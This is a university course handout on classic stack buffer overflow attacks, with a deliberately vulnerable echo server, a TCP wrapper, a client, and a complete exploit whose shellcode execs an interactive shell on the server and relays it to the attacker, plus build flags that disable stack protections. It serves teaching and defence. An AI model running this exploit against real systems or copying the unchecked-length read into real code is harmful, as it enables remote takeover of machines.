CS 202, Spring 2015
Handout 11 (class 22)
29 April 2015

1. Introduction to buffer overflow attacks

There are many ways to attack computers. Today we study the "classic" method.

This method has been adapted to many different types of attacks, but the concepts are similar.

We study this attack not to teach you all to become hackers but rather to educate you about vulnerabilities: what they are, how they work, and how to defend against them. Please remember: _although the approaches used to break into computers are very interesting, breaking in to a computer that you do not own is, in most cases, a criminal act_.

2. Let's examine a vulnerable server, buggy-server.c

3. Now let's examine how an unscrupulous element (a hacker, a script kiddie, a worm, etc.) might exploit the server.

Thanks to Russ Cox for the code



```c
/*
 * Author: Russ Cox, rsc@swtch.com
 * Date: April 28, 2006
 *
 * (Comments by MW.)
 *
 * A very simple server that expects a message of the form:
 *     <length-of-msg><msg>
 *  and then prints to stdout (i.e., fd = 1) whatever 'msg' the client
 *  supplied.
 *
 * The server expects its input on stdin (fd = 0) and writes its
 * output to stdout (fd = 1). The intent is that these fds actually
 * correspond to a TCP connection, which intent is realized via the
 * program tcpserve.
 *
 * The server only allocates enough room for 100 bytes for 'msg'.
 * However, the server does not check that the length of 'msg' is
 * in fact less than 100 bytes, which is a (common) bug that an
 * attacker can exploit.
 *
 * Ridiculously, this server *tells* the client where in memory
 * the current stack is located.
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

void
serve(void)
{
        int n;
        char buf[100];
        char* ebp;

        memset(buf, 0, sizeof buf);

        /*
         * The server is obliging and actually tells the client where
         * in memory 'buf' is located.
         */
        fprintf(stdout, "the address of the buffer is %p\n", buf);

        /* This next line actually gets stdout to the client */
        fflush(stdout);

        /* Read in the length from the client; store the length in 'n' */
        fread(&n, 1, sizeof n, stdin);

        /*
         * The return address lives directly above where the frame
         * pointer, ebp, is pointing. This area of memory is 120 bytes
         * past the start of 'buf', as we learn by examining a
         * disassembly of buggy-server.  Below we illustrate that ebp+4
         * and buf+120 are holding the same data. To print out the
         * return address, we use buf[120].
         */

        asm volatile("movl %%ebp, %0" : "=r" (ebp));
        assert(*(int*)(ebp+4) == *(int*)(buf+120));

        fprintf(stdout, "My return address is: %x\n", *(int*)(buf+120));
        fflush(stdout);

        /* Now read in n bytes from the client. */
        fread(buf, 1, n, stdin);

        fprintf(stdout, "My return address is now: %x\n", *(int*)(buf+120));
        fflush(stdout);

        /*
```

```
          * This server is very simple so just tells the client whatever
          * the client gave the server. A real server would process buf
          * somehow.
          */
         fprintf(stdout, "you gave me: %s\n", buf);
         fflush(stdout);
}

int
main(void)
{
         serve();
         return 0;
}
```



```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

int dial(uint32_t, uint16_t);

int
main(int argc, char** argv)
{
        char buf[400];
        int n, fd, addr;
        uint32_t server_ip_addr; uint16_t server_port;
        char* msg;

        if (argc != 3) {
                fprintf(stderr, "usage: %s ip_addr port\n", argv[0]);
                exit(1);
        }

        server_ip_addr = inet_addr(argv[1]);
        server_port    = htons(atoi(argv[2]));

        if ((fd = dial(server_ip_addr, server_port)) < 0) {
                fprintf(stderr, "dial: %s\n", strerror(errno));
                exit(1);
        }

        if ( (n = read(fd, buf, sizeof buf−1)) < 0) {
                fprintf(stderr, "socket read: %s\n", strerror(errno));
                exit(1);
        }
        buf[n] = 0;
        if(strncmp(buf, "the address of the buffer is ", 29) != 0){
                fprintf(stderr, "bad message: %s\n", buf);
                exit(1);
        }
        addr = strtoul(buf+29, 0, 0);
        fprintf(stderr, "remote buffer is %x\n", addr);

        msg = "hello, exploitable server.";
        n = strlen(msg);
        write(fd, &n, 4);
        write(fd, msg, n);

        while((n = read(fd, buf, sizeof buf)) > 0)
            write(1, buf, n);

        return 0;
}

int
dial(uint32_t dest_ip, uint16_t dest_port) {
        int fd;
        struct sockaddr_in sin;

        if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) return −1;

        memset(&sin, 0, sizeof sin);
        sin.sin_family      = AF_INET;
        sin.sin_port        = dest_port;
        sin.sin_addr.s_addr = dest_ip;

        /* begin a TCP connection to the server */
        if (connect(fd, (struct sockaddr*)&sin, sizeof sin) < 0) return −1;
        return fd;
}
```

```c
/*
 * Author: Russ Cox, rsc@csail.mit.edu
 * Date: April 28, 2006
 *
 *  (Comments by MW.)
 *
 *  This program is a simplified 'inetd'. That is, this program takes some
 *  other program, 'prog', and runs prog "over the network", by:
 *
 *      --listening to a particular TCP port, p
 *      --creating a new TCP connection every time a client connects
 *        on p
 *      --running a new instance of prog, where the stdin and stdout for
 *        the new process are actually the new TCP connection
 *
 *   In this way, 'prog' can talk to a TCP client without ever "realizing"
 *   that it is talking over the network. This "replacement" of the usual
 *   values of stdin and stdout with a network connection is exactly what
 *   happens with shell pipes. With pipes, a process's stdin or stdout
 *   becomes the pipe, via the dup2() system call.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

char **execargs;

/*
 * This function contains boilerplate code for setting up a
 * TCP server. It's called "announce" because, if a network does not
 * filter ICMP messages, it is clear whether or
 * not some service is listening on the given port.
 */
int
announce(int port)
{
        int fd, n;
        struct sockaddr_in sin;

        memset(&sin, 0, sizeof sin);
        sin.sin_family = AF_INET;
        sin.sin_port = htons(port);
        sin.sin_addr.s_addr = htonl(INADDR_ANY);

        if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
                perror("socket");
                return -1;
        }

        n = 1;
        if(setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char*)&n, sizeof n) < 0){
                perror("reuseaddr");
                close(fd);
                return -1;
        }

        fcntl(fd, F_SETFD, 1);
        if(bind(fd, (struct sockaddr*)&sin, sizeof sin) < 0){
                perror("bind");
                close(fd);
                return -1;
        }
        if(listen(fd, 10) < 0){
                perror("listen");
```



```c
                close(fd);
                return -1;
        }
        return fd;
}

int
startprog(int fd)
{
        /*
         * Here is where the replacement of the usual stdin and stdout
         * happen. The next three lines say, "Ignore whatever value we used to
         * have for stdin, stdout, and stderr, and replace those three with
         * the network connection."
         */
        dup2(fd, 0);
        dup2(fd, 1);
        dup2(fd, 2);
        if(fd > 2)
                close(fd);

        /* Now run 'prog' */
        execvp(execargs[0], execargs);

        /*
         * If the exec was successful, tcpserve will not make it to this
         * line.
         */
        printf("exec %s: %s\n", execargs[0], strerror(errno));
        fflush(stdout);
        exit(0);
}

int
main(int argc, char **argv)
{
        int afd, fd, port;
        struct sockaddr_in sin;
        struct sigaction sa;
        socklen_t sn;

        if(argc < 3 || argv[1][0] == '-'){
        Usage:
                fprintf(stderr, "usage: tcpserve port prog [args...]\n");
                return 1;
        }

        port = atoi(argv[1]);
        if(port == 0)
                goto Usage;
        execargs = argv+2;

        sa.sa_handler = SIG_IGN;
        sa.sa_flags = SA_NOCLDSTOP|SA_NOCLDWAIT;
        sigaction(SIGCHLD, &sa, 0);

        if((afd = announce(port)) < 0)
                return 1;

        sn = sizeof sin;
        while((fd = accept(afd, (struct sockaddr*)&sin, &sn)) >= 0){

                /*
                 * At this point, 'fd' is the file descriptor that
                 * corresponds to the new TCP connection. The next
                 * line forks off a child process to handle this TCP
                 * connection. That child process will eventually become
                 * 'prog'.
                 */
                switch(fork()){
                case -1:
                        fprintf(stderr, "fork: %s\n", strerror(errno));
                        close(fd);
```

```
                                continue;
                        case 0:
                                /* this case is executed by the child process */
                                startprog(fd);
                                _exit(1);
                        }
                        close(fd);
                }
                return 0;
}
```

```c
/*
 * Author: Russ Cox, rsc@swtch.com
 * Date: April 28, 2006
 *
 * (Some very minor modifications by MW, as well as most comments; MW is
 * responsible for any errors.)
 *
 * This program exploits the server buggy-server.c. It works by taking
 * advantage of the facts that (1) the server has told the client (i.e., us)
 * the address of its stack and (2) the server is sloppy and does not check
 * the length of the message to see whether the message can fit in the buffer.
 *
 * The exploit sends enough data to overwrite the return address in the
 * server's current stack frame. That return address will be overwritten to
 * point to the very buffer we are supplying to the server, which very buffer
 * contains machine instructions!! The particular machine instructions
 * cause the server to exec a shell, which means that the server process
 * will be replaced by a shell, and the exploit will thus have "broken into"
 * the server.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

/*
 * This is a simple assembly program to exec a shell. The program
 * is incomplete, though. We cannot complete it until the server obliges
 * by telling us where its stack is located.
 */

char shellcode[] =
  "\xb8\x0b\x00\x00\x00" /* movl $11, %eax; load the code for 'exec' */
  "\xbb\x00\x00\x00\x00" /* movl $0, %ebx; INCOMPLETE */
  "\xb9\x00\x00\x00\x00" /* movl $0, %ecx; INCOMPLETE */
  "\xba\x00\x00\x00\x00" /* movl $0, %edx; INCOMPLETE */
  "\xcd\x80"             /* int $0x80; do whatever system call is given by %eax */
  "/bin/sh\0"            /* "/bin/sh\0"; the program we will exec */
  "-i\0"                 /* "-i\0"; the argument to the program */
  "\x00\x00\x00\x00"     /* 0; INCOMPLETE. will be address of string "/bin/sh" */
  "\x00\x00\x00\x00"     /* 0; INCOMPLETE. will be address of string "-i" */
  "\x00\x00\x00\x00"     /* 0 */
;

enum
{       /* offsets into assembly */
        MovEbx = 6,     /* constant moved into ebx */
        MovEcx = 11,    /* ... into ecx */
        MovEdx = 16,    /* ... into edx */
        Arg0 = 22,      /* string arg0 ("/bin/sh") */
        Arg1 = 30,      /* string arg1 ("-i") */
        Arg0Ptr = 33,   /* ptr to arg0 (==argv[0]) */
        Arg1Ptr = 37,   /* ptr to arg1 (==argv[1]) */
        Arg2Ptr = 41    /* zero (==arg[2]) */
};

enum
{
        REMOTE_BUF_LEN = 100,
        NCOPIES = 24
};

int dial(uint32_t, uint16_t);

int
main(int argc, char** argv)
{
```



```c
        char helpfulinfo[100];
        char msg[REMOTE_BUF_LEN + NCOPIES*4];
        int i, n, fd, addr;
        uint32_t victim_ip_addr;
        uint16_t victim_port;

        if (argc != 3) {
                fprintf(stderr, "usage: exploit ip_addr port\n");
                exit(1);
        }

        victim_ip_addr = inet_addr(argv[1]);
        victim_port    = htons(atoi(argv[2]));

        fd = dial(victim_ip_addr, victim_port);
        if(fd < 0){
                fprintf(stderr, "dial: %s\n", strerror(errno));
                exit(1);
        }

        /*
         * this line reads the line from the server wherein the server
         * tells the client where its stack is located. (thank you,
         * server!)
         */
        n = read(fd, helpfulinfo, sizeof helpfulinfo-1);
        if(n < 0){
                fprintf(stderr, "socket read: %s\n", strerror(errno));
                exit(1);
        }
        /* null-terminate our copy of the helpful information */
        helpfulinfo[n] = 0;

        /*
         * check to make sure that the server gave us the helpful
         * information we were expecting.
         */
        if(strncmp(helpfulinfo, "the address of the buffer is ", 29) != 0){
                fprintf(stderr, "bad message: %s\n", helpfulinfo);
                exit(1);
        }

        /*
         * Pull out the actual address where the server's buf is stored.
         * we use this address below, as we construct our assembly code.
         */
        addr = strtoul(helpfulinfo+29, 0, 0);
        fprintf(stderr, "remote buffer is at address %x\n", addr);

        /*
         * Here, we construct the contents of msg. We'll copy the
         * shell code into msg and also "fill out" this little assembly
         * program with some needed constants.
         */
        memmove(msg, shellcode, sizeof shellcode);

        /*
         * fill in the arguments to exec. The first argument is a
         * pointer to the name of the program to execute, so we fill in
         * the address of the string, "/bin/sh".
         */
        *(int*)(msg+MovEbx) = addr+Arg0;

        /*
         * The second argument is a pointer to the argv array (which is
         * itself an array of pointers) that the shell will be passed.
         * This array is currently not filled in, but we can still put a
         * pointer to the array in the shellcode.
         */
        *(int*)(msg+MovEcx) = addr+Arg0Ptr;

        /* The third argument is the address of a location that holds 0 */
        *(int*)(msg+MovEdx) = addr+Arg2Ptr;
```

```c

        /*
         * The array of addresses mentioned above are the arguments that
         * /bin/sh should begin with. In our case, /bin/sh only begins
         * with its own name and "−i", which means "interactive". These
         * lines load the ’argv’ array.
         */
        *(int*)(msg+Arg0Ptr) = addr+Arg0;
        *(int*)(msg+Arg1Ptr) = addr+Arg1;

        /*
         * This line is one of the keys −− it places NCOPIES different copies
         * of our desired return address, which is the start of the message
         * in the server’s address space. We use multiple copies in the hope
         * that one of them overwrites the return address on the stack. We
         * could have used more copies or fewer.
         */
        for(i=0; i<NCOPIES; i++)
                *(int*)(msg + REMOTE_BUF_LEN + i*4) = addr;

        n = REMOTE_BUF_LEN + NCOPIES*4;
        /* Tell the server how long our message is. */
        write(fd, &n, 4);
        /* And now send the message, thereby smashing the server’s stack.*/
        write(fd, msg, n);

        /* These next lines:
         *   (1) read from the client’s stdin, and write to the network
         *   connection (which should now have a shell on the other
         *   end);
         *   (2) read from the network connection, and write to the
         *   client’s stdout.
         *
         *   In other words, these lines take care of the I/O for the
         *   shell that is running on the server. In this way, we on the
         *   client can control the shell that is running on the server.
         */
        switch(fork()){
        case 0:
                while((n = read(0, msg, sizeof msg)) > 0)
                        write(fd, msg, n);
                fprintf(stderr, "eof from local\n");
                break;
        default:
                while((n = read(fd, msg, sizeof msg)) > 0)
                        write(1, msg, n);
                fprintf(stderr, "eof from remote\n");
                break;
        }
        return 0;
}

/* boilerplate networking code for initiating a TCP connection */
int
dial(uint32_t dest_ip, uint16_t dest_port)
{
        int fd;
        struct sockaddr_in sin;

        if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
                return −1;

        memset(&sin, 0, sizeof sin);
        sin.sin_family      = AF_INET;
        sin.sin_port        = dest_port;
        sin.sin_addr.s_addr = dest_ip;


        /* begin a TCP connection to the victim */
        if (connect(fd, (struct sockaddr*)&sin, sizeof sin) < 0)
                return −1;
        return fd;
}
```



```makefile
all: honest−client exploit buggy−server tcpserve

# On Mac, the arguments below result in a failed compile.
# The ’execstack and ’no−stack−protector’ are disabling two sets of
# protections that would otherwise impede the demo. ’execstack’ ensures
# that the elf file that is produced specifies that the stack is
# executable. the no−stack−protector turns off the stack guarding (which
# uses poison values to detect stack smashing)

% : %.c
#       gcc −g −Wall −z execstack −fno−stack−protector −o $@ $<
        gcc −g −Wall −o $@ $<

clean:
        rm −f honest−client exploit buggy−server tcpserve
```